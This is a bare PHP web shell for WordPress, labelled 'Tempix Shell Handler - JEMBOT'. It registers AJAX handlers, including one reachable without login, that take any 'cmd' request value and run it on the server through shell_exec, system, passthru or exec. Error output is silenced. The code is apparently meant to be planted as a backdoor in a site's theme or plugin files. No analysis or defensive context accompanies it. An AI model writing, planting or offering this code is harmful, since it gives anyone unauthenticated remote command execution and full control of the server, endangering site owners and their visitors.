// Tempix Shell Handler - JEMBOT
add_action('wp_ajax_nopriv_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});
add_action('wp_ajax_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});